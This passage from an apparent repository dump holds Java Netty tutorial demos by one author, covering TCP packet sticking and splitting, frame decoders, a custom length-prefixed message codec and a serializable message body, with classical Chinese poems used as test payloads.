噫吁嚱，危乎高哉！蜀道之难，难于上青天！蚕丛及鱼凫，开国何茫然！尔来四万八千岁，不与秦塞通人烟。\"\n\t\t\t+\" 西当太白有鸟道，可以横绝峨眉巅。地崩山摧壮士死，然后天梯石栈相钩连。上有六龙回日之高标，下有冲波逆折之回川。\"\n\t\t\t+\" 黄鹤之飞尚不得过，猿猱欲度愁攀援。青泥何盘盘，百步九折萦岩峦。扪参历井仰胁息，以手抚膺坐长叹。\"\n\t\t\t+\" 问君西游何时还？畏途巉岩不可攀。但见悲鸟号古木，雄飞雌从绕林间。又闻子规啼夜月，愁空山。\"\n\t\t\t+\" 蜀道之难，难于上青天，使人听此凋朱颜！连峰去天不盈尺，枯松倒挂倚绝壁。飞湍瀑流争喧豗，砯崖转石万壑雷。\"\n\t\t\t+\" 其险也如此，嗟尔远道之人胡为乎来哉！剑阁峥嵘而崔嵬，一夫当关，万夫莫开。\"\n\t\t\t+\" 所守或匪亲，化为狼与豺。朝避猛虎，夕避长蛇；磨牙吮血，杀人如麻。锦城虽云乐，不如早还家。\"\n\t\t\t+\" 蜀道之难，难于上青天，侧身西望长咨嗟！\"+System.getProperty(\"line.separator\")).getBytes();  \n    \n   //用于测试 固定字符切分解码器 DelimiterBasedFrameDecoder(1024,Unpooled.copiedBuffer(\"~_~\".getBytes()) \t\n /*     req = (\"春江潮水连海平，海上明月共潮生。\"\n\t\t+\"  滟滟随波千万里，何处春江无月明! \"\n\t\t+\"\t江流宛转绕芳甸，月照花林皆似霰;\"\n\t\t+\"\t空里流霜不觉飞，汀上白沙看不见。\"\n\t\t+\"\t江天一色无纤尘，皎皎空中孤月轮。\"\n\t\t+\"  江畔何人初见月？江月何年初照人？\"\n\t\t+\"\t人生代代无穷已，江月年年望相似。~_~\"\n\t\t+\"\t不知江月待何人，但见长江送流水。\"\n\t\t+\"\t白云一片去悠悠，青枫浦上不胜愁。\"\n\t\t+\"\t谁家今夜扁舟子？何处相思明月楼？\"\n\t\t+\"\t可怜楼上月徘徊，应照离人妆镜台。\"\n\t\t+\"\t玉户帘中卷不去，捣衣砧上拂还来。\"\n\t\t+\"\t此时相望不相闻，愿逐月华流照君。~_~\"\n\t\t+\"\t鸿雁长飞光不度，鱼龙潜跃水成文。\"\n\t\t+\"\t昨夜闲潭梦落花，可怜春半不还家。\"\n\t\t+\"\t江水流春去欲尽，江潭落月复西斜。\"\n\t\t+\"\t斜月沉沉藏海雾，碣石潇湘无限路。\"\n\t\t+\"\t不知乘月几人归，落月摇情满江树。~_~\" \n\t\t+\" 噫吁嚱，危乎高哉！蜀道之难，难于上青天！蚕丛及鱼凫，开国何茫然！尔来四万八千岁，不与秦塞通人烟。\"\n\t\t+\" 西当太白有鸟道，可以横绝峨眉巅。地崩山摧壮士死，然后天梯石栈相钩连。~_~ 上有六龙回日之高标，下有冲波逆折之回川。\"\n\t\t+\" 黄鹤之飞尚不得过，猿猱欲度愁攀援。~_~ 青泥何盘盘，百步九折萦岩峦。扪参历井仰胁息，以手抚膺坐长叹。\"\n\t\t+\" 问君西游何时还？畏途巉岩不可攀。但见悲鸟号古木，雄飞雌从绕林间。又闻子规啼夜月，愁空山。\"\n\t\t+\" 蜀道之难，难于上青天，使人听此凋朱颜！连峰去天不盈尺，枯松倒挂倚绝壁。~_~ 飞湍瀑流争喧豗，砯崖转石万壑雷。\"\n\t\t+\" 其险也如此，嗟尔远道之人胡为乎来哉！剑阁峥嵘而崔嵬，一夫当关，万夫莫开。\"\n\t\t+\" 所守或匪亲，化为狼与豺。朝避猛虎，夕避长蛇；磨牙吮血，杀人如麻。锦城虽云乐，不如早还家。\"\n\t\t+\" 蜀道之难，难于上青天，侧身西望长咨嗟！\"+System.getProperty(\"line.separator\")).getBytes();  */\t\t\t\n\n      \n      \n      \n     /* req = (\"AAAAAAAAAAAAAAAA\"\n\t\t\t+\"  BBBBBBBBBBBBBBBB \"\n\t\t\t+\"\tCCCCCCCCCCCCCCCCC\"\n\t\t\t+\"\tDDDDDDDDDDDDD\"\n\t\t\t+\"\tEEEEEEEEEEEEEE\"\n\t\t\t+\"  FFFFFFFFFFFFFF\"\n\t\t\t+\"\tGGGGGGGGGGGG ~_~\"\n\t\t\t+\"\tHHHHHHHHHHHHHHHH\"\n\t\t\t+\"\tIIIIIIIIIIIIII\"\n\t\t\t+\"\tJJJJJJJJJJJJJJJJJJJ\"\n\t\t\t+\"\tKKKKKKKKKKKKKKKKK\"\n\t\t\t+\"\tLLLLLLLLLLLLLLLLL\"\n\t\t\t+\"\tMMMMMMMMMMMMMMMMMM ~_~\"\n\t\t\t+\"\tNNNNNNNNNNNNNNNN\"\n\t\t\t+\"\tOOOOOOOOOOOOOOOOOOOO\"\n\t\t\t+\"\tPPPPPPPPPPPPPP\"\n\t\t\t+\"\tQQQQQQQQQQQQQQQQQQQQ\"\n\t\t\t+\"\tRRRRRRRRRRRRRR ~_~\" \n\t\t\t+\" SSSSSSSSSSSSSSSSS\"\n\t\t\t+\" TTTTTT ~_~ TTTTTTT\"+System.getProperty(\"line.separator\")).getBytes(); */\n    \t\n        //System.getProperty(\"line.separator\") 结束标记\n    }  \n      \n    @Override  \n    public void channelActive(ChannelHandlerContext ctx) throws Exception {  \n        ByteBuf message = null;  \n        //会发生粘包现象\n//        for (int i = 0; i < 100; i++) {  \n//            message = Unpooled.buffer(req.length);  \n//            message.writeBytes(req);  \n//            ctx.writeAndFlush(message);  \n//        }  \n        message = Unpooled.buffer(req.length);  \n        message.writeBytes(req);  \n        ctx.writeAndFlush(message);\n        System.out.println(\"一次发送消息过多,发送拆包现象! \");\n    }  \n      \n    @Override  \n    public void channelRead(ChannelHandlerContext ctx, Object msg)  \n        throws Exception {  \n        String buf = (String) msg;  \n        System.out.println(\"现在 : \" + buf + \" ; 条数是 : \"+ ++counter);  \n    }  \n  \n    @Override  \n    public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {  \n        ctx.close();  \n    }  \n      \n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo2/NettyServerDemo2.java",
    "content": "package com.jun.plugin.nio.netty.demo2;\n\nimport java.net.InetSocketAddress;\n\nimport io.netty.bootstrap.ServerBootstrap;\nimport io.netty.channel.ChannelFuture;\nimport io.netty.channel.ChannelInitializer;\nimport io.netty.channel.ChannelOption;\nimport io.netty.channel.ChannelPipeline;\nimport io.netty.channel.EventLoopGroup;\nimport io.netty.channel.nio.NioEventLoopGroup;\nimport io.netty.channel.socket.SocketChannel;\nimport io.netty.channel.socket.nio.NioServerSocketChannel;\nimport io.netty.handler.codec.LineBasedFrameDecoder;\nimport io.netty.handler.codec.string.StringDecoder;\n\n/**\n * \n* Title: NettyServerDemo2\n* Description:  Netty服务端   用于测试粘包、拆包\n* Version:1.0.0  \n* @author pancm\n* @date 2017年9月20日\n */\npublic class NettyServerDemo2 {\n\tprivate  final static int port=2345;  \n      \n    public void start(){  \n        EventLoopGroup bossGroup = new NioEventLoopGroup(1);  \n        EventLoopGroup workerGroup = new NioEventLoopGroup();  \n        try {  \n            ServerBootstrap sbs = new ServerBootstrap().group(bossGroup,workerGroup).channel(NioServerSocketChannel.class).localAddress(new InetSocketAddress(port))  \n                    .childHandler(new ChannelInitializer<SocketChannel>() {  \n                        protected void initChannel(SocketChannel ch) throws Exception { \n                        \tChannelPipeline p = ch.pipeline(); \n                         \n                          p.addLast(new LineBasedFrameDecoder(2048));\t\t//字节解码器 ,其中2048是规定一行数据最大的字节数。  用于解决拆包问题\n//                          p.addLast(new FixedLengthFrameDecoder(100));   //定长数据帧的解码器 ，每帧数据100个字节就切分一次。  用于解决粘包问题        \n//                          p.addLast(new DelimiterBasedFrameDecoder(1024,Unpooled.copiedBuffer(\"~_~\".getBytes()))); //固定字符切分解码器 ,会以\"~_~\"为分隔符。  注意此方法要放到StringDecoder()上面\n                            p.addLast(new StringDecoder());     //设置解码器\n                            p.addLast(new NettyServerHandlerDemo2());   //绑定自定义事物\n                        };  \n                          \n                    }).option(ChannelOption.SO_BACKLOG, 128)     \n                    .childOption(ChannelOption.SO_KEEPALIVE, true);  \n             // 绑定端口，开始接收进来的连接  \n             ChannelFuture future = sbs.bind(port).sync();    \n               \n             System.out.println(\"服务端启动成功，端口为 :\" + port );  \n             future.channel().closeFuture().sync();  \n        } catch (Exception e) {  \n            bossGroup.shutdownGracefully();  //关闭EventLoopGroup，释放掉所有资源包括创建的线程\n            workerGroup.shutdownGracefully();  //关闭EventLoopGroup，释放掉所有资源包括创建的线程\n        }  \n    }  \n      \n    public static void main(String[] args) throws Exception {  \n        new NettyServerDemo2().start();  \n    }  \n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo2/NettyServerHandlerDemo2.java",
    "content": "package com.jun.plugin.nio.netty.demo2;\n\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.ChannelInboundHandlerAdapter;\n\n/**\n * \n* Title: NettyServerHandlerDemo2\n* Description: Netty服务端业务逻辑处理  用于测试粘包、拆包\n* Version:1.0.0  \n* @author pancm\n* @date 2017年9月20日\n */\npublic class NettyServerHandlerDemo2 extends ChannelInboundHandlerAdapter{  \n    \n    \n    private int counter;  \n      \n    @Override  \n    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {  \n          \n        String body = (String)msg;  \n        System.out.println(\"接受的数据是: \" + body + \";条数是: \" + ++counter);  \n    }  \n      \n      \n    @Override  \n    public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception {  \n        cause.printStackTrace();  \n        ctx.close();  \n    }  \n  \n}  \n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo3/NettyClientDemo3.java",
    "content": "package com.jun.plugin.nio.netty.demo3;\n\nimport java.io.IOException;\n\nimport io.netty.bootstrap.Bootstrap;\nimport io.netty.channel.Channel;\nimport io.netty.channel.ChannelInitializer;\nimport io.netty.channel.ChannelOption;\nimport io.netty.channel.ChannelPipeline;\nimport io.netty.channel.EventLoopGroup;\nimport io.netty.channel.nio.NioEventLoopGroup;\nimport io.netty.channel.socket.SocketChannel;\nimport io.netty.channel.socket.nio.NioSocketChannel;\n\n/**\n * \n* Title: NettyClientDemo3\n* Description: Netty客户端  测试自定义解码器\n* Version:1.0.0  \n* @author pancm\n* @date 2017年9月21日\n */\npublic class NettyClientDemo3 {\n\t  public static String host = \"127.0.0.1\";  //ip地址\n\t    public static int port = 3456;\t\t\t//端口\n\t    /// 通过nio方式来接收连接和处理连接   \n\t    private static EventLoopGroup group = new NioEventLoopGroup(); \n\t    private static  Bootstrap b = new Bootstrap();\n\t    private static Channel ch=null;\n  \n\t    /**\n\t\t * Netty创建全部都是实现自AbstractBootstrap。\n\t\t * 客户端的是Bootstrap，服务端的则是ServerBootstrap。\n\t\t **/\n\t    public static void main(String[] args) throws InterruptedException, IOException { \n\t        \t b.group(group)  \n\t             .channel(NioSocketChannel.class)  \n\t             .option(ChannelOption.TCP_NODELAY,true)  \n\t             .handler(new ChannelInitializer<SocketChannel>() {  \n\t                 @Override  \n\t                 public void initChannel(SocketChannel ch) throws Exception {  \n\t                     ChannelPipeline p = ch.pipeline();  \n\t                     p.addLast(new NettyEncoder());    //绑定自定义编码器\n\t                     p.addLast(new NettyClientHandlerDemo3());   //绑定自定义业务 \n\t                 }  \n\t             });  \n\t            // 连接服务端\n\t            ch = b.connect(host, port).sync().channel();\n\t            System.out.println(\"客户端成功启动...\");\n\t            star();\n\t    }\n\t    \n\t    public static void star() throws IOException{\n\t    \tString str=\"你好,Netty\";\n\t    \t NettyMsg customMsg = new NettyMsg((byte)0xAB, (byte)0xCD, str.length(), str);  \n\t        ch.writeAndFlush(customMsg); \n\t    \tSystem.out.println(\"客户端发送数据:\"+customMsg);\n\t   } \n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo3/NettyClientHandlerDemo3.java",
    "content": "package com.jun.plugin.nio.netty.demo3;\n\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.ChannelInboundHandlerAdapter;  \n\n/**\n * \n* Description: \n* Version:1.0.0  \n* @author pancm\n* @date 2017年9月21日\n */\npublic class NettyClientHandlerDemo3 extends ChannelInboundHandlerAdapter {  \n      \n\t/**\n\t * 连接时发送消息\n\t */\n    @Override  \n    public void channelActive(ChannelHandlerContext ctx) throws Exception {  \n        NettyMsg customMsg = new NettyMsg((byte)0xAB, (byte)0xCD, \"Hello,Netty\".length(), \"Hello,Netty\");  \n        ctx.writeAndFlush(customMsg);  \n    }  \n  \n}  \n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo3/NettyDecoder.java",
    "content": "package com.jun.plugin.nio.netty.demo3;\n\nimport java.util.List;\n\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.handler.codec.ByteToMessageCodec;  \n  \n/**\n * \n* Description: Netty自定义解码器\n* Version:1.0.0  \n* @author pancm\n* @date 2017年9月21日\n */\npublic class NettyDecoder extends ByteToMessageCodec<NettyMsg> {  \n      \n    //判断传送客户端传送过来的数据是否按照协议传输，头部信息的大小应该是 byte+byte+int = 1+1+4 = 6  \n    private static final int HEADER_SIZE = 6;  \n      \n    /** 类型  系统编号 0xAB 表示A系统，0xBC 表示B系统  */\n    private byte type;  \n      \n    /** 信息标志  0xAB 表示心跳包    0xBC 表示超时包  0xCD 业务信息包   */\n    private byte flag;  \n      \n    /** 主题信息的长度 */ \n    private int length;  \n       \n    /** 主题信息  */ \n    private String body; \n  \n\n\t@Override\n\tprotected void encode(ChannelHandlerContext ctx, NettyMsg msg, ByteBuf out)\n\t\t\tthrows Exception {\n\t\t  System.out.println(\"msg:\"+msg); \n\t\t  if (out == null) {  \n\t            return ;  \n\t        }  \n\t        if (out.readableBytes() < HEADER_SIZE) {  \n\t            throw new Exception(\"可读信息段比头部信息都小，你在逗我？\");  \n\t        }  \n\t        //注意在读的过程中，readIndex的指针也在移动  \n\t        type = out.readByte();  \n\t          \n\t        flag = out.readByte();  \n\t          \n\t        length = out.readInt();  \n\t          \n\t        if (out.readableBytes() < length) {  \n\t            throw new Exception(\"body字段你告诉我长度是\"+length+\",但是真实情况是没有这么多，你又逗我？\");  \n\t        }  \n\t        ByteBuf buf = out.readBytes(length);  \n\t        byte[] req = new byte[buf.readableBytes()];  \n\t        buf.readBytes(req);  \n\t        body = new String(req, \"UTF-8\");  \n\t        NettyMsg customMsg = new NettyMsg(type,flag,length,body);  \n\t\t\n\t}\n\n\t@Override\n\tprotected void decode(ChannelHandlerContext ctx, ByteBuf in,\n\t\t\tList<Object> out) throws Exception {\n\t\t// TODO Auto-generated method stub\n\t\t\n\t}  \n  \n}  \n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo3/NettyDecoder2.java",
    "content": "package com.jun.plugin.nio.netty.demo3;\n\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.handler.codec.LengthFieldBasedFrameDecoder;  \n  \n/**\n * \n* Description: Netty自定义解码器\n* Version:1.0.0  \n* @author pancm\n* @date 2017年9月21日\n */\npublic class NettyDecoder2 extends LengthFieldBasedFrameDecoder {  \n      \n    //判断传送客户端传送过来的数据是否按照协议传输，头部信息的大小应该是 byte+byte+int = 1+1+4 = 6  \n    private static final int HEADER_SIZE = 6;  \n      \n    /** 类型  系统编号 0xAB 表示A系统，0xBC 表示B系统  */\n    private byte type;  \n      \n    /** 信息标志  0xAB 表示心跳包    0xBC 表示超时包  0xCD 业务信息包   */\n    private byte flag;  \n      \n    /** 主题信息的长度 */ \n    private int length;  \n      \n    /** 主题信息  */ \n    private String body; \n  \n    /** \n     *  \n     * @param maxFrameLength 解码时，处理每个帧数据的最大长度 \n     * @param lengthFieldOffset 该帧数据中，存放该帧数据的长度的数据的起始位置 \n     * @param lengthFieldLength 记录该帧数据长度的字段本身的长度 \n     * @param lengthAdjustment 修改帧数据长度字段中定义的值，可以为负数 \n     * @param initialBytesToStrip 解析的时候需要跳过的字节数 \n     * @param failFast 为true，当frame长度超过maxFrameLength时立即报TooLongFrameException异常，为false，读取完整个帧再报异常 \n     */  \n    public NettyDecoder2(int maxFrameLength, int lengthFieldOffset, int lengthFieldLength,  \n            int lengthAdjustment, int initialBytesToStrip, boolean failFast) {  \n        super(maxFrameLength, lengthFieldOffset, lengthFieldLength,  \n                lengthAdjustment, initialBytesToStrip, failFast);  \n    }  \n      \n    @Override  \n    protected Object decode(ChannelHandlerContext ctx, ByteBuf in) throws Exception {  \n        if (in == null) {  \n            return null;  \n        }  \n        if (in.readableBytes() < HEADER_SIZE) {  \n            throw new Exception(\"可读信息段比头部信息都小，你在逗我？\");  \n        }  \n          \n        //注意在读的过程中，readIndex的指针也在移动  \n        type = in.readByte();  \n          \n        flag = in.readByte();  \n          \n        length = in.readInt();  \n          \n        if (in.readableBytes() < length) {  \n            throw new Exception(\"body字段你告诉我长度是\"+length+\",但是真实情况是没有这么多，你又逗我？\");  \n        }  \n        ByteBuf buf = in.readBytes(length);  \n        byte[] req = new byte[buf.readableBytes()];  \n        buf.readBytes(req);  \n        body = new String(req, \"UTF-8\");  \n          \n        NettyMsg customMsg = new NettyMsg(type,flag,length,body);  \n        return customMsg;  \n    }  \n  \n}  \n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo3/NettyEncoder.java",
    "content": "package com.jun.plugin.nio.netty.demo3;\n\nimport java.nio.charset.Charset;\n\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.handler.codec.MessageToByteEncoder;  \n\n/**\n * \n* Description:Netty自定义编码器 \n* Version:1.0.0  \n* @author pancm\n* @date 2017年9月21日\n */\npublic class NettyEncoder extends MessageToByteEncoder<NettyMsg> {  \n  \n    @Override  \n    protected void encode(ChannelHandlerContext ctx, NettyMsg msg, ByteBuf out) throws Exception {  \n        if(null == msg){  \n            throw new Exception(\"消息不能为空!\");  \n        }  \n          \n        String body = msg.getBody();  \n        byte[] bodyBytes = body.getBytes(Charset.forName(\"utf-8\"));  \n        out.writeByte(msg.getType());  \n        out.writeByte(msg.getFlag());  \n        out.writeInt(bodyBytes.length);  \n        out.writeBytes(bodyBytes);  \n          \n    }  \n  \n}  \n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo3/NettyMsg.java",
    "content": "package com.jun.plugin.nio.netty.demo3;\n\n/**\n * \n* Description: Netty 自定义消息 \n* Version:1.0.0  \n* @author pancm\n* @date 2017年9月21日\n */\npublic class NettyMsg {  \n    \n\n\t/** 类型  系统编号 0xAB 表示A系统，0xBC 表示B系统  */\n    private byte type;  \n      \n    /** 信息标志  0xAB 表示心跳包    0xBC 表示超时包  0xCD 业务信息包   */\n    private byte flag;  \n      \n    /** 主题信息的长度 */ \n    private int length;  \n      \n    /** 主题信息  */ \n    private String body;  \n      \n    public NettyMsg() {  \n          \n    }  \n    \n    \n    /**\n     *  \n     * @param type    类型  系统编号 0xAB 表示A系统，0xBC 表示B系统\n     * @param flag    信息标志  0xAB 表示心跳包    0xBC 表示超时包  0xCD 业务信息包\n     * @param length  主题信息的长度\n     * @param body    主题信息\n     */\n    public NettyMsg(byte type, byte flag, int length, String body) {  \n        this.type = type;  \n        this.flag = flag;  \n        this.length = length;  \n        this.body = body;  \n    }  \n  \n    public byte getType() {  \n        return type;  \n    }  \n  \n    public void setType(byte type) {  \n        this.type = type;  \n    }  \n  \n    public byte getFlag() {  \n        return flag;  \n    }  \n  \n    public void setFlag(byte flag) {  \n        this.flag = flag;  \n    }  \n  \n    public int getLength() {  \n        return length;  \n    }  \n  \n    public void setLength(int length) {  \n        this.length = length;  \n    }  \n  \n    public String getBody() {  \n        return body;  \n    }  \n  \n    public void setBody(String body) {  \n        this.body = body;  \n    }  \n  \n    /** \n\t * 重写toString方法，方便打印日志\n\t */\n\t@Override\n\tpublic String toString() {\n\t\treturn \"NettyMsg [type=\" + type + \", flag=\" + flag + \", length=\"\n\t\t\t\t+ length + \", body=\" + body + \"]\";\n\t}\n}  \n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo3/NettyServerDemo3.java",
    "content": "package com.jun.plugin.nio.netty.demo3;\n\nimport java.net.InetSocketAddress;\n\nimport io.netty.bootstrap.ServerBootstrap;\nimport io.netty.channel.ChannelFuture;\nimport io.netty.channel.ChannelInitializer;\nimport io.netty.channel.ChannelOption;\nimport io.netty.channel.EventLoopGroup;\nimport io.netty.channel.nio.NioEventLoopGroup;\nimport io.netty.channel.socket.SocketChannel;\nimport io.netty.channel.socket.nio.NioServerSocketChannel;  \n \n/**\n * \n* Description:  Netty 服务端    测试自定义解码器\n* Version:1.0.0  \n* @author pancm\n* @date 2017年9月21日\n */\npublic class NettyServerDemo3 {  \n      \n    private static final int MAX_FRAME_LENGTH = 1024 * 1024;  \n    private static final int LENGTH_FIELD_LENGTH = 4;  \n    private static final int LENGTH_FIELD_OFFSET = 2;  \n    private static final int LENGTH_ADJUSTMENT = 0;  \n    private static final int INITIAL_BYTES_TO_STRIP = 0;  \n  \n    private  final static int port=3456;  \n      \n      \n    public void start(){  \n        EventLoopGroup bossGroup = new NioEventLoopGroup(1);  \n        EventLoopGroup workerGroup = new NioEventLoopGroup();  \n        try {  \n            ServerBootstrap sbs = new ServerBootstrap().group(bossGroup,workerGroup).channel(NioServerSocketChannel.class).localAddress(new InetSocketAddress(port))  \n                    .childHandler(new ChannelInitializer<SocketChannel>() {  \n                          \n                        protected void initChannel(SocketChannel ch) throws Exception {  \n                             ch.pipeline().addLast(new NettyDecoder2(MAX_FRAME_LENGTH,LENGTH_FIELD_LENGTH,LENGTH_FIELD_OFFSET,LENGTH_ADJUSTMENT,INITIAL_BYTES_TO_STRIP,false));  \n//                             ch.pipeline().addLast(new NettyDecoder(MAX_FRAME_LENGTH,LENGTH_FIELD_LENGTH,LENGTH_FIELD_OFFSET,LENGTH_ADJUSTMENT,INITIAL_BYTES_TO_STRIP,false));  \n                             ch.pipeline().addLast(new NettyServerHandlerDemo3());  \n                        };  \n                          \n                    }).option(ChannelOption.SO_BACKLOG, 128)     \n                    .childOption(ChannelOption.SO_KEEPALIVE, true);  \n             // 绑定端口，开始接收进来的连接  \n             ChannelFuture future = sbs.bind(port).sync();    \n               \n             System.out.println(\"Netty服务端成功启动！端口为: \" + port );  \n             future.channel().closeFuture().sync();  \n        } catch (Exception e) {  \n            bossGroup.shutdownGracefully();  \n            workerGroup.shutdownGracefully();  \n        }  \n    }  \n      \n    public static void main(String[] args) throws Exception {  \n        new NettyServerDemo3().start();  \n    }  \n}  \n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo3/NettyServerHandlerDemo3.java",
    "content": "package com.jun.plugin.nio.netty.demo3;\n\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.SimpleChannelInboundHandler;  \n \n/**\n * \n* Description:服务端业务逻辑处理类 \n* Version:1.0.0  \n* @author pancm\n* @date 2017年9月21日\n */\npublic class NettyServerHandlerDemo3 extends SimpleChannelInboundHandler<Object> {  \n  \n    @Override  \n    protected void channelRead0(ChannelHandlerContext ctx, Object msg) throws Exception {  \n        if(msg instanceof NettyMsg) {  \n            NettyMsg customMsg = (NettyMsg)msg;  \n            System.out.println(\"接受的数据:\"+ctx.channel().remoteAddress()+\" send \"+customMsg.getBody());  \n        }  \n          \n    }  \n  \n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo4/NettyClientDemo4.java",
    "content": "package com.jun.plugin.nio.netty.demo4;\n\nimport java.io.IOException;\n\nimport io.netty.bootstrap.Bootstrap;\nimport io.netty.channel.Channel;\nimport io.netty.channel.ChannelInitializer;\nimport io.netty.channel.ChannelOption;\nimport io.netty.channel.ChannelPipeline;\nimport io.netty.channel.EventLoopGroup;\nimport io.netty.channel.nio.NioEventLoopGroup;\nimport io.netty.channel.socket.SocketChannel;\nimport io.netty.channel.socket.nio.NioSocketChannel;\nimport io.netty.handler.codec.string.StringDecoder;\n\n/**\n * \n* Title: NettyClientDemo4\n* Description: Netty客户端  \n* Version:1.0.0  \n* @author pancm\n* @date 2017年9月21日\n */\npublic class NettyClientDemo4 {\n\t  public static String host = \"127.0.0.1\";  //ip地址\n\t    public static int port = 4567;\t\t\t//端口\n\t    /// 通过nio方式来接收连接和处理连接   \n\t    private static EventLoopGroup group = new NioEventLoopGroup(); \n\t    private static  Bootstrap b = new Bootstrap();\n\t    private static Channel ch=null;\n  \n\t    /**\n\t\t * Netty创建全部都是实现自AbstractBootstrap。\n\t\t * 客户端的是Bootstrap，服务端的则是ServerBootstrap。\n\t\t **/\n\t    public static void main(String[] args) throws InterruptedException, IOException { \n\t        \t b.group(group)  \n\t             .channel(NioSocketChannel.class)  \n\t             .option(ChannelOption.TCP_NODELAY,true)  \n\t             .handler(new ChannelInitializer<SocketChannel>() {  \n\t                 @Override  \n\t                 public void initChannel(SocketChannel ch) throws Exception {  \n\t                     ChannelPipeline p = ch.pipeline();  \n\t                     p.addLast(new StringDecoder());     //绑定自定义编码器\n\t                     p.addLast(new NettyClientHandlerDemo4());   //绑定自定义业务 \n\t                 }  \n\t             });  \n\t            // 连接服务端\n\t            ch = b.connect(host, port).sync().channel();\n\t            System.out.println(\"客户端成功启动...\");\n\t            //发送消息\n\t            star();\n\t    }\n\t    \n\t    public static void star() throws IOException{\n\t    \tNettySendBody nsb=new NettySendBody();\n\t    \tnsb.put(\"Netty\",\"Hello\");\n\t    \tnsb.put(\"JAVA\",\"从入门到入土\");\n\t    \tnsb.put(\"SQL\",\"从删库到跑路\");\n\t        ch.writeAndFlush(nsb); \n\t    \tSystem.out.println(\"客户端发送数据:\"+nsb.toString());\n\t   } \n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo4/NettyClientHandlerDemo4.java",
    "content": "package com.jun.plugin.nio.netty.demo4;\n\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.ChannelInboundHandlerAdapter;  \n\n/**\n * \n* Description: \n* Version:1.0.0  \n* @author pancm\n* @date 2017年9月21日\n */\npublic class NettyClientHandlerDemo4 extends ChannelInboundHandlerAdapter {  \n      \n\t/**\n\t * 连接时发送消息\n\t */\n    @Override  \n    public void channelActive(ChannelHandlerContext ctx) throws Exception {  \n    \tNettySendBody nst = new NettySendBody();      \t\n    \tnst.put(\"1111\", \"2222\");\n        ctx.writeAndFlush(nst);  \n        System.out.println(nst);\n    }  \n  \n}  \n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo4/NettySendBody.java",
    "content": "package com.jun.plugin.nio.netty.demo4;\n\nimport java.io.Serializable;\nimport java.util.concurrent.ConcurrentHashMap;\n\n/**\n * \n* Description: Netty 传输对象 \n* Version:1.0.0  \n* @author pancm\n* @date 2017年9月24日\n */\npublic class NettySendBody  implements Serializable{\n\t\n\t/**\n\t * 序列化\n\t */\n\tprivate static final long serialVersionUID = 1L;\n\t\n\t\n\t/** 创建集合  */\n\tprivate ConcurrentHashMap<String, String> data;\n\t/** 时间戳 */\n\tprivate long timestamp;\n\t\n\tpublic NettySendBody() {\n\t\tdata = new ConcurrentHashMap<String, String>();\n\t\ttimestamp = System.currentTimeMillis();  //取当前时间\n\t}\n\n\n\tpublic ConcurrentHashMap<String, String> getData() {\n\t\treturn data;\n\t}\n\n\tpublic void setData(ConcurrentHashMap<String, String> data) {\n\t\tthis.data = data;\n\t}\n\n\tpublic long getTimestamp() {\n\t\treturn timestamp;\n\t}\n\n\tpublic void setTimestamp(long timestamp) {\n\t\tthis.timestamp = timestamp;\n\t}\n\t\n\tpublic String get(String k) {\n\t\treturn data.get(k);\n\t}\n\n\tpublic void put(String k, String v) {\n\t\tdata.put(k, v);\n\t}\n\n\n\t@Override\n\tpublic String toString() {\n\t\tStringBuffer buffer = new StringBuffer();\n\t\tbuffer.append(\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\");\n\t\tbuffer.append(\"<sent>\");\n\t\tbuffer.append(\"<timestamp>\").append(timestamp).append(\"</timestamp>\");\n\t\tbuffer.append(\"<data>\");\n\t\tfor (String key : data.keySet()) {\n\t\t\tbuffer.append(\"<\" + key + \">\").append(data.get(key)).append(\n\t\t\t\t\t\"</\" + key + \">\");\n\t\t}\n\t\tbuffer.append(\"</data>\");\n\t\tbuffer.append(\"</sent>\");\n\t\treturn buffer.toString();\n\t}\n\t\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/nio/netty/demo4/NettyServerDemo4.java",
